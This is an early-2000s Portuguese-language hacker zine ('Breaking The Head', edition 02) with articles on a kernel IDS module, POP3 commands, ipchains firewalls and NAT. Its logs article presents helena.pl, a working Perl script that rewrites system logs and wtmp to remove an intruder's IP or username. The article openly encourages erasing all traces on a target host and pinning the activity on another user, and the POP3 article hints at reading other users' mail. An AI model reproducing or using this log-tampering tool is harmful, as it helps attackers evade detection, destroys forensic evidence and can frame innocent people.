






    ...._____  ..........,,,,,,,,,,,,,,,,,.. | BTH -
      ...____  ..........|,,,,,,,,,,,,,,,|.. | |||||
        ..___  ....    ..|_,,,,,,,,,,,,,_|.. |______  
          .__  ....    ....     ....    ....    .... 
            _  ....    ....     ....    ....    .... |
             | ....    ...      ....    ....    .... |
             | ..........       ....    ....    .... |
             | ..........       ....    ....    .... |
             | ....    ...      ....    ............ |
             | ....    ....     ....    ............ _
             | ....    ....     ....    ............ __.
             | ....    ....     ....    ....    .... ___..
             | ............     ,,,,    ....    .... ____...
               ,,,,,,,,,,,              ,,,,    ,,,, _____....



                       (Breaking The Head) 
                       (Quebrando a Cabeca)  
 
                 








__"Breaking The Head".......
__"Edicao 02"...............
__"Data 28.10.01"...........
__"hophet@yahoo.com.br".....


Onde Conseguir a "bth":
.......................

http://www.bthzine.cjb.net
http://www.movl.cjb.net
http://hophet.virtualave.net
CD-ROM da Revista PC-Master


Escritores da Edicao:
.....................

Nome  : Gustavo Chagas (founder)
Nick  : Hophet a.k.a Rofeti
Email : hophet@yahoo.com.br 

Nome  : Eduardo Amendola
Nick  : Blood_Sucker
Email : blooding@punkmail.com

Nome  : Lucas Mendes
Nick  : eSc2
Email : esc2@embranet.net


".................................................................."

__"Conteudo:"                                           __"Autores:"

[01]  __Introducao                         ---    " Hophet         " 
[02]  __IDS - Parte 3                      ---    " Hophet         "
[03]  __Log's - Eis a Questao!!!           ---    " Hophet         "
[04]  __Protocolo POP3                     ---    " Hophet         "
[05]  __Firewall - Parte 2                 ---    " Hophet         "
[06]  __Absurdo em Taiwan                  ---    " Hophet         "
[07]  __Scheduling do Linux                ---    " eSc2           "
[08]  __Race Conditions - Tenenbaum        ---    " Blood_Sucker   "
[09]  __Assembly para linux/i386           ---    " Hophet         "
[10]  __Montando sua propria Distro Linux  ---    " Blood_Sucker   "
[11]  __Desafios da Edicao                 ---    " Hophet         "
[12]  __Links                              ---    " Hophet         "
[13]  __Terminando                         ---    " Hophet         "


".................................................................."









          /* +++++++++++++++++++++++ * _____.....
        ._ *                         * ____....
      ..__ *    [01] - Introducao    * ___...
    ...___ *           Por Hophet    * __..
  ....____ *                         * _.
....._____ * +++++++++++++++++++++++ */





OBS.: O publico alvo eh o pessoal "Fucador Etico" entao se vc
altera Home pages ou pratica qualquer outro ato de Script
Kiddies por favor nao leia, porque voce nao vai encontrar
nada de util aqui e em  nenhum txt que venha escrever.

Para extrair os codes da edicao siga os passos:

sh-0.3$ gcc extract.c -o extract
sh-0.3$ ./extract bth02.txt 
sh-0.3$ ./extract assembly_em_linux.txt

Escrita por Gustavo Chagas, o Hophet <hophet@yahoo.com.br>

Ae pessoal!!!, pombas, logo de inicio vou da uma bromca,
mandem email pra eu falando o que tao achando, e onde
tem que melhorar, outra coisa eh que poucas pessoas mandaram
a solucao dos desafios da edicao passada, ou mandem ou a 
secao acaba:D, tou bricando, mais aquilo eh pra ajudar mais
o aprendizado de vcs, se esforcem para fazer e enviarem pra
sair aki na zine:).

Eh, eu crieu tb um canal de irc para discutirmos diversos
assuntos,o servidor eh "irc.othersideirc.net" e o canal eh
"#breaking", o motivo de ter aberto esse canal as massas
eh para que possa haver um maior interacao dos leitores,
para que os mesmos possam discutir entre sih, sobre os 
varios temas da Zine, outro objetivo eh discutitir as materias
da zine entrando ate em mais detalhes sobre as mesmas. 
Com isso aumentar a troca de informacoes entre os leitores.
Te espero lah, e que a ordem prevaleca;).

Como viram um pouco acima a zine tah sendo distribuida no
Cd-Rom da revista PC-Master, que agora eh nossa Colaboradora
no sentido de divulgacao:D, quero agradecer ao Edson Origara
por ter aberto essa porta pra gente poder levar a informacao
a um numero mair de pessoas, quero agradecer por tb ter nos 
dado este espaco no Cd-Rom. Agora vc leitor tem mais um lugar
para pegar sua nova edicao, ela vai sair periodicamente no 
cd-rom da revista sempre na pasta "hacker". Abracos ao pessoal
da PC-Master.

Ahh, se vc quer publicar uma materia que vc juga interessante 
e que seria legal escrever aqui pra zine, mande ela pra gente
com certeza ela poderah sair na proxima edicao:), toda a 
ajuda do pessoal fucador eh bem-vinda e esse eh um dos nossos 
objetivos, "interagir", mas por favor antes leia o "bth_regras
.txt", que se encontra na pagina da zine.

Soh pra esclarecer a Breaking The Head, nao eh um grupo e muito
menos fechado, eh um projeto iniciado por min que promete ser 
bem longo, e que tem o intiuto maior de trazer mais informacoes
a comunidade fucadora, por isso qualquer um pode escrever pra 
ela, madando suas materias. E nos agradecemos por isso. 

Quero agradecer aqui tambem ao eSc2 que, tem hospedado a page
da bth nos servidores dele, valeu ae pela forca. ;)

Eh pessoal chegamos a terceira edicao desta zine, vencemos 
mais uma luta, e saiba que nao foi facil:), nossos rivais 
tempo, escola, trabalho, nao nos permitem estar empenhan-
do um tempo maior neste trabalho, por isso nao eh facil
esta aqui escrevendo estas humildes palavras a vcs, mas 
devagar vamos chegando lah. 

Chegando ao final desta introducao, usufrua de uma boa leitura
e aprendizado ;)





 



          /* +++++++++++++++++++++++ * _____.....
        ._ *                         * ____....
      ..__ *    [02] IDS - Parte 3   * ___...
    ...___ *         Por Hophet      * __..
  ....____ *                         * _.
....._____ * +++++++++++++++++++++++ */




Nesta secao e materia de hoje vo falar dum IDS em LKM muito 
pouco conhecido ate o momento mais que com certeza vai mudar
sua vida:D, ele se chama Quinds(Quintela's Intrusion Detection
Service) feito por Lucas Mendes conhecido como eSc2. Ela eh uma
ferramenta de simples utilizacao e configuracao, e grandemente
poderosa na seguranca de uma sitema, por isso merece ser mais 
divulgada para que mais pessoas possam conhecela e ter seus
sistemas um pouco mais seguros.

Esta eh a descricao do Autor:

 "Quinds eh um intrusio detection service (IDS) em kernel area,
 que controla o acesso de usuarios a sistemas ou servicos de
 acordo com a configuracao desejada.

 Em algumas situacoes criticas chegan a killar o processo
 corrente ou caso rooteie o sistema, passando por ela, esconder
 o uid 0, mostrando o uid e gid do usuario em user area. :-)"

Ele protege o sistema contra elevacao de UID de possiveis exploi-
tacoes, e tambem protege seu sistema contra ptrace bug, que como 
vimos ae eh muito perigoso a qualquer sistema, manipula sinais,etc.

Onse conseguir: http://www.write2execute.cjb.net  

Estah tb em anexo ao pacote da zine a ultima versao do quinds, a
versao 0.3, que eh a que esta materia estah se baseando, aguarde 
a versao 0.4, que esta vindo por ae:).

Pacote do Quinds 0.3 : quinds-0.3.tar.gz

Enquanto estava escrevendo esta materia saia a versao 0.4 com 
varias modificacoes e otimizacoes, vale a pena conferir, a instalacao
nao muda nada:), leia o README que acompanha o pacote para mais 
detalhes, baixe a nova versao 0.4 do Quinds em: 
http://www.write2execute.cjb.net na parte de projetos. ;)


Compilando e Carregando:
------------------------

Descompacte com, "tar -zxvf quinds-0.3.tar.gz" entre no diretorio
criado e de um "make" para ver as opcoes:

sh-0.3:Quinds-0.3# make

 Quintela's Intrusion Detection System
 Escrito por Lucas Mendes <esc2@embranet.net>.
 http://embranet.net/~esc2/projetos/quinds/

As opcoes de make disponiveis sao :

 >     make debug                # modo debugado
 >>    make sem_debug_stealth    # modo nao debugado com stealth
 >>>   make stealth              # modo stealth (esconde do lsmod)
 >>>>  make generico             # modo generico (sem debug e sem stealth)
 >>>>> make personalizada        # modo interativo (precisa do VI)


De um "make personalizada", escolha suas opcoes no VI que sao simples
ou se prefirir nao mude nada, e au sair ele ja serah compilado para
a versao do seu kernel, logo apos o termino da compilacao carrege o
modulo criado:

sh-0.3:Quinds-0.3# insmod quinds.o

 Quintela's Intrusion Detection System.
 Versao 0.3, release Jacqueline.
 Escrito por Lucas Mendes <esc2@embranet.net>.
  * sem stealth.
  * nao exportando simbolos.
  * modulo carregado!


Para decarregar o quinds use:

sh-0.3:Quinds-0.3# rmmod quinds

 Quintela's Intrusion Detection System.
 Versao 0.3, release Jacqueline.
 Escrito por Lucas Mendes <esc2@embranet.net>.
  * modulo descarregado!



Pronto, facil e simples, agora eh soh usufruir da ferramente e ter 
um sistema um pouco mais seguro. Fique sempre atento as novas versoes,
pois sao nelas que os erros anteriores seram corrigidos, e mais funcio-
nalidades sao acrescentadas.


- end of IDS -


     



          /* ++++++++++++++++++++++++++++++++++ * _____.....
        ._ *                                    * ____....
      ..__ *    [03] Log's - Eis a questao!!!   * ___...
    ...___ *         Por Hophet                 * __..
  ....____ *                                    * _.
....._____ * ++++++++++++++++++++++++++++++++++ */




O Assunto "logs" eh algo interessante, ja ouvi gente falando 
que tem medo dos dito cujos:), uns falam que com eles como
prova pode da cadeia, outros dizem que nao servem como prova
e aih vai indo, uma confusao soh. Pra comecar a esclarecer 
o maximo sobre o assunto vamos por parte.

Primero os logs existem na maioria dos sistemas com o intuito
de logar(guardar) tudo que acontece neste sistema, eles no linux
ficam normalmente em "/var/log", num irix seria "/var/adm", eles
armazenam todos os tipos de informacoes sobre um user ou conexao
e para nos, nao eh muito bom deixar essas informacoes lah.

Os logs, nao servem como prova, o motivo eh que eles podem ser 
editados e assim alterados, omitindo um verdadeiro atacante, 
o mesmo poderia ter se utilizado de um autro acesso p/ tal acao
e assim nao seria ele que seria logado mas este outro acesso,
com isso os logs por sih soh nao eh uma prova de um "crime",
mas por exemplo uma coisa que poderia ser feita eh que eles 
poderiam checar os logs da companhia telefonica, eh um pouco 
complicado chegar e se fazer isso, mas num caso extremo, pode 
ser feito, e realmente seria dificil apagar os logs da companhia
telefonica:), por isso apagar todos os seus vestigios no host
alvo eh a melhor coisa a fazer e com certeza diminui quase que 
totalmente as chances de te "descobrirem".

Mas com certeza dados encontrados nos logs se confirmados a sua
veracidade, servem e muito de complemento no ato de "encriminar"
alguem que nao tenha tomado o total cuidado com os logs no sistema
alvo.

Eu fiz um simples script em perl que limpa totalmente seus rastros 
dos logs no sistema ele pode ser usado para outros fins mas ele 
funciona realmente nao fazendo soh promessas:). Veja:



<++> logs/helena.pl

#!/usr/bin/perl -w

# HELENA-0.1
# Este eh um script que tira QlQ informacao
# que vc queira dos log's do sistema, total
# mente, sem deixar vestigios.
#
# use: # perl helena.pl <log> <log_destino>
# <coisa_a_ser_mudada> <coisa_ja_mudada>
#
# Ex.:
# # perl helena.pl messages messages1
# 200.217.18.53 200.230.19.20
#
# O q eu fiz foi trocar todas as evidencias
# do meu ip(200...53) por um ip falso(200...20)
#
# Nome: helena.pl
# Versao: 0.1
# Autor: Hophet - w2x
# Email: hophet@yahoo.com.br
#
# >> w2x vive em nossos coracoes!!! <<
# http://www.write2execute.cjb.net/
#

$ARGC = @ARGV;

$log     = $ARGV[0];
$mudado  = $ARGV[1];
$info1   = $ARGV[2];
$info2   = $ARGV[3];

if($ARGC < 4)
{
  print "\n";
  print "Helena v0.1, por w2x!!! <hophet\@yahoo.com.br>!!!\n\n";
  print "Use: $0 <log> <log_destino> <coisa_a_ser_mudada>\n";
  print "<coisa_ja_mudada>\n\n";
  print "bay... w2x!!! \;\]\n\n";
  exit;
}

open(FILE, "$log");

# Fazendo a mudanca

while($conteudo = <FILE>)
{
     $conteudo =~ s/$info1/$info2/g;
     open(MUD, ">>$mudado");
     print MUD $conteudo;
     close(MUD);
}

close(FILE);

# Colocando o log mudado

`/bin/mv $mudado $log`;

# eof - Rofeti.

<-->




Este script eh simples mas muito util... 
Vamos a sua utilizacao.

Veja:

sh-2.03# chmod +x helena.pl
sh-2.03# ./helena.pl

Helena v0.1, por w2x!!! <hophet@yahoo.com.br>!!!

Use: ./helena.pl <log> <log_destino> <coisa_a_ser_mudada>
<coisa_ja_mudada>

bay... w2x!!! ;]

sh-2.03# 


Vamos supor que vc esta com o ip "200.215.19.21" e logou no 
sistema com o user "hacker" e vc quer limpar seu ip dos logs
assim como o user que vc utilizou, intao vc faria:

sh-2.03# ./helena.pl /var/log/messages /tmp/teste 200.215.19.21
""

Ou seja vc trocou todas as entradas do seu ip por nada(""), com o
user ficaria a mesma coisa:

sh-2.03# ./helena.pl messages teste hacker maria

Pronto, agora todos os acessos feito por vc, foi passado a responsa-
bilidade de "maria", eh ela a culpada agora:D. Como vc viu eh util 
pacas e necessario, a nao ser que queira ser pego:).

Por exemplo para vc limpar todo o "last" do user "hophet" vc faria o
seguinte:

$ ./helena.pl /var/log/wtmp /tmp/a hophet "marias"

Com isso vc limpa todo o "wtmp", tirando todas as entradas do user 
"hophet". Vc poderia colocar outro user no lugar, como preferir ;)
e com isso o user "hophet" nao apareceria mais no comando "last"
do sistema. Vemos que o "helena.pl" limpa ate o "wtmp" :D.   

Outro programa que faz isso, em outros arquivos de log: 

zap2(z2.c) = que limpa os arquivos "wtmp", "utmp", "lastlog". 

Terminando, vc viu que vc pode e deve limpar seus rastros no sistema
sem problemas e sem dificuldades, sendo ate bastante simples, e 
acredite, isto pode te livrar de um monte de problemas futuros. 

E pros admins que querem ter seu sistema salvo de mudancas de atacantes
mal desejados, a coisa mais sensata a fazer eh sempre estah fazendo 
backups ou em um ftp num outro servidor, ou em midia gravavel(fitas,
CDS,etc) ou quem sabe esta imprimindo a cada nova entrada:), ja 
vih gente fazendo isso, mas essas acoes pode esta te ajudando a 
manter seu sistema um pouco mais sobre controle. 


- end of log's -

 
       
 


          /* ++++++++++++++++++++++++++++++++++ * _____.....
        ._ *                                    * ____....
      ..__ *       [04] Protocolo POP3          * ___...
    ...___ *            Por Hophet              * __..
  ....____ *                                    * _.
....._____ * ++++++++++++++++++++++++++++++++++ */





O protocolo POP eh usado grandemente na Internet pela maioria das 
pessoas, ele eh usado para o recebimento ou se preferir , pelo 
ato de trazer as mensagens de email do seu servidor de email ate 
voce, ou ir buscalo:), para que vc possa lelas, ou ate mesmo voce 
pode le-las no proprio servidor de email atravez do protocolo POP3, 
sem ao menos recebelas na sua maquina local. Por este motivo o pro_
tocolo POP3 eh muito usado e importante. Vou descrever somente alguns 
comandos importantes para o manuseio de mensagens eletronicas nos 
servidores POP3 em geral onde vc tenha uma conta ou onde nao tem 
tb ;), util tb pra qdo vc quizer ler as mensagens de users de algum 
servidor que vc tenha algum user valido. 

POP3 porta : 110. 

PS.:

A resposta se os dados forem informados corretamente eh antecedido
de um "+OK". Se os dados forem informados erroneamente a resposta eh 
antecedido de um "-ERR". 


Conexao:
--------

$ telnet <servidorPOP> <110>

Ex.: 

$ telnet pop.mail.yahoo.com.br 110


Autenticacao:
-------------

USER <seu_login>
PASS <seu_passwd>


Comandos:
---------

=> USER : Usado para determinar o user que vai logar ou que
   vai manusear o servidor POP, usado na autenticacao.
 
Sinteze:
  
USER <user>


=> PASS : Usado para determinar a senha do user que vai logar 
   no servidor POP, usado na autenticao.

Sinteze:

PASS <password>


O processo de autenticacao do user "hophet" ficaria assim:

USER hophet
PASS hophet


=> HElP : Mostra uma ajuda;)
 
Sinteze:

HELP


=> TOP : Comando responsavel pela leitura das mensagens recebidas.

Sinteze:

TOP <numero_da_msg>  

Ex.:

TOP 1
+OK message 1 (401 octets):
X-POP3-Rcpt: cairo@localhost
Return-Path: <hophet>
Received: (from hophet@localhost)
        by localhost.localdomain (8.9.3/8.9.3) id RAA00257
        for cairo; Mon, 28 Aug 2000 17:38:21 -0400
Date: Mon, 28 Aug 2000 17:38:21 -0400
From: Hophet <hophet@localhost.localdomain>
Message-Id: <200008282138.RAA00257@localhost.localdomain>
To: cairo@localhost.localdomain
Subject: teste manim

teste manim.

.


=> RETR : Tambem responsavel pela leitura das mensagens recebidas.

Sinteze:

RETR <numero_da_msg>

Ex.:

RETR 1
+OK message 1 (401 octets):
X-POP3-Rcpt: cairo@localhost
Return-Path: <hophet>
Received: (from hophet@localhost)
        by localhost.localdomain (8.9.3/8.9.3) id RAA00257
        for cairo; Mon, 28 Aug 2000 17:38:21 -0400
Date: Mon, 28 Aug 2000 17:38:21 -0400
From: Hophet <hophet@localhost.localdomain>
Message-Id: <200008282138.RAA00257@localhost.localdomain>
To: cairo@localhost.localdomain
Subject: teste manim

teste manim.

.


=> RSET : Verefica se houve a chegada de novos emails no spool 
   do usuario(/var/spool/mail/<user>.

Sinteze:

RSET 

Ex.:

RSET
+OK 1 messages ready for cairo in /var/spool/mail/cairo


=> DELE : Responsavel por apagar as mensagens que ja foram lidas.

Sinteze:

DELE <numero_da_msg>

Ex.:

DELE 1
+OK message 1 marked for deletion


=> LIST : Lista as mensagens que estao em seu mailbox
   (/var/spool/mail/<user>).  

Sinteze:

LIST

Ex.:

LIST
+OK 2 messages; msg# and size (in octets) for undeleted messages:
1 379
2 379


=> UIDL : Mostra os ID's das mensagens recebidas. 

Sinteze:

UIDL -> Para mostrar os ID's de todas as msg's
UIDL <numero_da_msg>

Ex.:

UIDL
+OK 2 messages; msg# and id for undeleted messages:
1 85632b982caf18a5ebbfa1c364d21c0a
2 90aa2ae2331808f4e00e75db83da23c7


=> LAST : Mostra quantas mensagens existem no total, ou seja,
   a soma das mensagens.

Sinteze:

LAST

Ex.:

LAST
+OK 2


=> STAT : Mostra quantas mensagens existem no total e o quanto de 
   espaco elas estao ocupando(em octetos).

Sinteze:

STAT

Ex.:

STAT
+OK 2 758


=> QUIT : Termina a secao, deixa o servidor POP3, fecha a coneccao.

Sinteze:

QUIT     Ex.: QUIT  ;)



Eh, espero que venha ser util pro pessoal esta pequena explanacao 
sobre o protocolo POP3. Pra um fucador eh vital saber lidar bem 
com os protocolos em geral, e conhecelos a fundo.


- end of POP3 -

 


          /* ++++++++++++++++++++++++++++++++++ * _____.....
        ._ *                                    * ____....
      ..__ *       [05] Firewall - Parte 2      * ___...
    ...___ *            Por Hophet              * __..
  ....____ *                                    * _.
....._____ * ++++++++++++++++++++++++++++++++++ */



* Indice:

1 - Introcucao
2 - IpChains
3 - NAT
4 - Mascaramento
5 - Scripts Firewall
6 - Finalizando




1 - Introducao
--------------

Bem pessoal, na secao sobre firewall de hj vou falar da ferramenta
de firewall dos kernels 2.2.x o "ipchains", e de algumas tecincas 
como NAT e Mascaramento. Na edicao passada nos falamos do NetFilter
e lah em baixo ele serah usado, por isso se vc nao tem a edicao 
passada da zine, baxe ja ;D.


2 - IpChains 
------------

O "ipchains" eh quem vai determinar as politicas ou regras seguidas
pelo firewall(kernel), determinando toda a operacao do nosso fire-
wall. O "ipchains" eh a atualizacao do "ipfwadm" que era a ferramenta
de configuracao de firewall dos kernels 2.2.0 pra baixo. O "ipchains"
eh quem vai definir as politicas do firewall, impedindo ou aceitando
que os pacotes trafeguem na rede.

Vou comentar alguns pequenos detalhes que nao foram comentados ainda 
aqui, importantes para um entendimento maior das aplicacoes que vamos
fazer mais a frente... sao elas: 

Regras - Sao as regras de um firewall, a forma que o firewall vai 
filtrar os pacotes.

ACCEPT - Permiti a passagem do pacote

DENY - nega acesso, bloqueia a passagem do pacote, sem avisas origem

REJECT -  nega acesso, bloqueia a passagem do pacote, avisando origem


Voltando... 

A arquitetura do "ipchains"
---------------------------

Essas sao as opcoes de controle de chains do ipchains:

 -A - Acrescenta uma regra as existentes no firewall.
 -I - Insere um regra especifica no firewall.
 -D - Exclui um regra no firewall.
 -P - Defini a regra Padrao no firewall.
 -L - Lista as regras existentes no firewall.
 -F - (Flush) Apaga todas as regras do firewall.
 -h - help.
 -R - Substitui uma regra no firewall. 
 -C - Checa as regras do firewall.
 -Z - Apaga ou zera uma regra especifica.
 -N - Cria uma rega com um nome distinto.
 -X - Exclui uma regra pelo seu nome.

Com isso podemos manipular de forma facil e rapida regras 
especificas.


Parametros do "ipchains"
------------------------

Sao os seguintes:

 -p (protocolo) - Defini qual protocolo vai ser tratado pelo firewall.
                  Poden ser: tcp, udp, icmp.

 -s (origem)  - Endereco de origem no qual a regra vai agir.
                Ele tem 2 argumentos: endereco/mascara porta.
                Ex.: 10.02.01.1/24 21 

 -d (destino) - Endereco de destino no qual a regra vai agir.
                Ele tem 2 argumentos: endereco/mascara porta.
                Ex.: 10.02.01.1/24 80

 -i (interface) - Defini qual a interface de rede onde a regra do 
                  firewall vai agir. Ex.: -i ppp0, -i eth0.

 -j (ir para) - Redireciona uma acao desde q as regras sejam similares.

 -f (fragmento) - Manipula, trata, datagramas fragmentados.


Seguindo...


Opcoes do "ipchains"
--------------------

As opcoes sao mais alguns argumentos que podem ser passados, para 
um melhor trabalho do firewall.

Sao elas:

 -l (log) - Opcao responsavel por fazer que o sistema log tudo que 
            eh processado ou manipulado pelo firewall. Logado em 
            "/var/log/messages".

 -b (modo bidirecional) - Cria uma bidirecionalidade entre origem e
                          destino. Seria 2 regras em uma soh, 1 regra
                          p/ entrada e saida.

 -y (aceitacao de SYN) - Usado no protocolo tcp, onde o bit SYN eh 
                         ativado p/ se estabelecer uma conexao.

 -n (numerc format) - Visualiza os IP's e as portas dos enderecos.

 -o (tamanho maximo) - Utilizada p/ copias de datagramas.

 -v (verbose) - Modo verbose.

 -m (masquerad) - Mascara os pacotes de origem p/ o destino.


Essas sao as principais opcoes.

 
Aplicacao...
------------

Vamos a aplicacao de tudo que vimos acima. Vamos criar regras para 
visualizarmos melhor tudo isso:)

Vamos limpar todas as regras existentes:

/sbin/ipchains -F

Pronto podemos iniciar os nossos trabalhos, vamos supor que vc queira
fechar o acesso ao "telnet" no seu firewall, a regra seria a seguinte:

/sbin/ipchains -A input -p tcp -j DENY -s 0.0.0.0/0 -d IP_FIREWALL 23

Onde IP_FIREWALL eh o IP da sua maquina onde roda o firewall, ou alguma
maquina da rede, onde queira fechar o telnet.

Vamos supor agora que vc queira permitir acesso atraves do firewall para
um servidor web da rede, seria esta regra a acrescentar:

/sbin/ipchains -A input -p tcp -j ACCEPT -s 0.0.0.0/0 -d IP_SERV_WEB 80

Onde IP_SERV_WEB eh o IP da maquina que esta servindo HTTP na rede. 

Agora vc quer apagar a regra que nega acesso a telnet e que permite 
acesso ao servidor web que definimos antes, vc faria o seguinte:

/sbin/ipchains -D input 1
/sbin/ipchains -D input 2

E assin por diante, com isso nos apagamos as regras 1 e 2 de entrada do
firewall. Bastante simples neh nao??:)

Use a sua criatividade agora para criar as regras necessarias a vc,
com certeza mil e uma opcoes e causas existem para isso;).

No final vou colocar um "script" firewall, basico pra vc dar uma 
olhada e ate usalo:)




3 - NAT
-------

NAT(Network Addres Translator) eh a tecnica responsavel por traduzir
(translator) um endereco falso dentro de uma rede para um endereco
valido para a internet ou p/ uma outra rede. Funciona mais ou menos
como um mascaramento, mas o NAT desempenha funcoes de encaminhamento
de pacotes(packet forward). Em uma represenacao seria mais ou menos 
isso: 10.0.0.x -> 200.0.0.x. O NAT eh utilizado na maioria dos rote-
adores, CISCO, etc, para mais informacoes sobre o NAT em roteadores
ver RFC1631, vc pode encontrar todas as RFC's em:
"http://www.rfc-editor.org".

Para executar o NAT vc vai presizar da ferramenta "ipmasqadm", mas 
vou mostrar como fazer NAT com o "ipchains" tb;). O "ipmasqadm" vem
na maioria das distrubuicoes decentes de linux, e eh uma ferramenta
especifica p/ criacao de tecnicas NAT e Mascaramento. 
 
OBS.: Para usar o "ipmasqadm" vc vai precizar ter suporte no kernel
para PortForward, e outros modulos experimentais, selecione 
CONFIG_*, se ja tiver blz, se nao, vai precizar recompilar o kernel.
Por padrao os kernels ja vem com essas opcoes, mas se foi um kernel
compilado por vc, verifique-as.

Tambem importante p/ um bom funcionamento do "ipmasqadm" eh o modulo
"ip_masq_portfw", carregueo com:

bash-2.03# modprobe ip_masq_portfw

Vamos e ela entao..., verifique se existe em seu sistema o ipmasqadm: 

bash-2.03# ipmasqadm portfw

Esta eh a resposta:


Usage: 

portfw -a -P PROTO -L LADDR LPORT -R RADDR RPORT [-p PREF] add entry
portfw -d -P PROTO -L LADDR LPORT [-R RADDR RPORT]      delete entry
portfw -f                                               clear table
portfw -l                                               list table
portfw <args> -n                                        no names

PROTO is the protocol, can be "tcp" or "udp"
LADDR is the local interface receiving packets to be forwarded.
LPORT is the port being redirected.
RADDR is the remote address.
RPORT is the port being redirected to.
PREF  is the preference level (load balancing, default=10)


PS.: A saida foi formatada para um melhor entendimento.

Vamos as Opcoes do "ipmasqadm":
         ------

 -P (PROTO) - define o protocolo a ser utilizado, TCP ou UDP

 -L (LADDR) - interface de rede que devera receber os pacotes
              que forem encaminhados. Endereco Local.
 LPORT - porta TCP ou UDP que devera ser redirecionada internamente.
         Porta Local. 

 -R (RADDR) - interface de rede que respondera remotamente(IP valido).
              Endereco Remoto. 
 RPORT - porta TCP oi UDP que devera redirecionada remotamente.
         Porta Remota.

 -P (PREF) - nivel de preferencia, padrao => 10.


Ficou bem claro, creio eu :)

Vamos aos Parametros do "ipmasqadm":
          ----------                  

 portfw -a - adiciona uma entrada.
 portfw -d - exclui uma entrada.
 portfw -f - exclui todas as entradas(FLUSH). 
 portfw -l - lista todas as entradas.
 portfw -n (args) - nao utiliza uma tabela de nomes(DNS ou hosts) 
                    no sistema.


Vamos entao a aplicacao dessas opcoes e parametros, criando um NAT.
Nos temos um servidor HTTP rodando dentro da rede e atras do 
firewall cujo endereco interno eh 10.0.0.1, e precisamos que as 
requisicoes HTTP que cheguem ao firewall sejam enviadas ao nosso 
servidor HTTP, ficaria deste modo o comando:

 ipmasqadm portfw -a -P tcp -L 10.0.0.1 80 -R 200.217.16.3 80  

Onde 200.217.16.3 eh o ip valido(internet) do nosso firewall.
Simples nao?? Agora tudo que chegar a porta 80 do firewall vai
ser redirecionado a porta 80 do servidor HTTP dentro da rede.
Vimos como isto eh bastante util para uma rede em que temos
maquinas separadas, uma pra o firewall, uma pra email, outra
pra Web e por aih vai, o NAT  eh de grande importancia pela 
agilidade e pela utilidade e tambem facilidade ;)

Vamos a outro exemplo...
Vamos supor que vc tenha na sua rede uma maquina servindo IRC:D
com o ip 10.0.0.2 que fique tambem atras do firewall, vc faria 
o seguinte:

 ipmasqadm -a -P tcp -L 10.0.0.2 6667 -R 200.217.16.3 6667

Onde 200.217.16.3 como vc ja sabe eh o ip valido(internet) do 
nosso firewall. Do mesmo jeito, todas as requisicoes  que chegar 
a porta 6667 do firewall vai ser redirecionada para o servidor
IRC dentro da rede.

Vamos apagar as entradas que criei:

 /usr/sbin/ipmasqadm portfw -f  

Pronto, agora cria vc as suas ;D

O NAT vai ficando por aqui:), espero ter deixado bem claro como
funciona esta Tecnica.
 
PS.: Lembrando que todas as entradas criadas permanecem existentes
apenas enquanto o sistema esta funcionando, apos o seu desligamento
ou reinicio as entradas sao perdidas, assim como as do "ipchains",
por isso coloqueas dentro de um Shell Script e de a ele a permicao
de execucao(chmod +x scriptNAT.sh) e coloqueo no seu rc.local
("/etc/rc.d/rc.local"), para que ele seja iniciado sempre junto
com o sistema, o mesmo para as regras do "ipchains".



4 - Mascaramento
----------------

Mascaramento eh a tecnica responsavel por fazer um ip falso 
tornar-se um ip valido, ou seja, verdadeiro. Por exemplo, temos 
uma rede com 10 maquinas, e todas com o ip classe A (10.0.0.0),
e temos uma maquina conectada a internet com o IP valido 
200.218.219.72, o mascaramento faria todas as 10 maquinas dentro
da rede conectarem com o ip valido 200.218.219.72 que eh o proxy
/firewall. 

Existem alguns modulos que facilitam esse trabalho, veja:

/sbin/modprobe ip_masq_ftp - mascaramento de FTP
/sbin/modprobe ip_masq_irc - mascaramento de IRC
/sbin/modprobe ip_masq_quake - mascaramento do Quake Word
   
A mesma ferramenta usada no NAT pode ser usada aqui tambem 
para fazer-mos o mascaramento... vamos entao fazer um com o 
"ipmasqadm" veja: (isso na maquina cliente na rede)

 ipmasqadm portfw -a -P tcp -L 10.0.0.4 21 -R 200.217.16.3 21

Isso seria um mascaramento manual de FTP, que quer dizer que 
se fizermos uma requisicao de ftp da nossa maquina utilizariamos
o endereco 200.217.16.3 como nosso ip.

Um mascaramento PPP com o "ipchains" seria isso:

 ipchains -A forward -i ppp0 -j MASQ -s 10.0.0.0/0 -d 0.0.0.0/0 

Com isso num firewall de uma rede pequena e com conexao PPP, tudo
que fosse requisitado ao firewall pela rede interna 10.0.0.0/0
seria mascarado e redirecionado.

O mascaramento eh bastante simples e com o ipchains e ipmasqadm 
podemos fazer proesas, sejamos criativos ;)



5 - Scripts Firewall
--------------------

Aih vai um script basico para firewalls em "ipchains", com regras 
permitindo, negando, alen de mascaramento, um otimo exemplo de 
inicio, onde vc pode se basear bastante. Voce pode colocalo no 
rc.local, ou colocar no rc.local uma linha que o chame.
Segue logo abaixo.



<++> firewall/rc.firewall 

#!/bin/sh
#
# rc.firewall 0.1
#
# Por Gustavo Chagas <hophet@unsekurity.com.br>
#
# Script para firewalls baseados em ipchains
#

echo "Iniciando o Firewall..."

# Zera todas as regras existentes

/sbin/ipchains -F input
/sbin/ipchains -F output
/sbin/ipchains -F forward

echo "Iniciando Regras de Mascaramento..."

/sbin/ipchains -P forward DENY
/sbin/ipchains -A forward -i ppp0 -j MASQ -s 0.0.0.0/0 -d 0.0.0.0/0 -l

/sbin/modprobe ip_masq_irc
/sbin/modprobe ip_masq_ftp

# Impeda PING

/sbin/ipchains -A input -p icmp -j DENY -s 0.0.0.0/0 -d 127.0.0.1 -l

# Impede TELNET

/sbin/ipchains -A input -p tcp -j DENY -s 0.0.0.0/0 -d 127.0.0.1 23 -l

# Impede POP

/sbin/ipchains -A input -p tcp -j DENY -s 0.0.0.0/0 -d 127.0.0.1 110 -l

# Habilita DNS

/sbin/ipchains -A input -p udp -j ACCEPT -s 0.0.0.0/0 -d 127.0.0.1 53 -l

# Habilita o acesso a correio

/sbin/ipchains -A input -p tcp -j ACCEPT -s 0.0.0.0/0 -d 127.0.0.1 25 -l
/sbin/ipchains -A input -p tcp -j ACCEPT -s 127.0.0.1 -d 0.0.0.0/0 25 -l

# Habilita o acesso ao server WEB (HTTP)

/sbin/ipchains -A input -p tcp -j ACCEPT -s 0.0.0.0/0 -d 127.0.0.1 80 -l
/sbin/ipchains -A input -p tcp -j ACCEPT -s 127.0.0.1 -d 0.0.0.0/0 80 -l

echo "Regras Inicializadas."
echo "Firewall iniciado!!!"

<-->



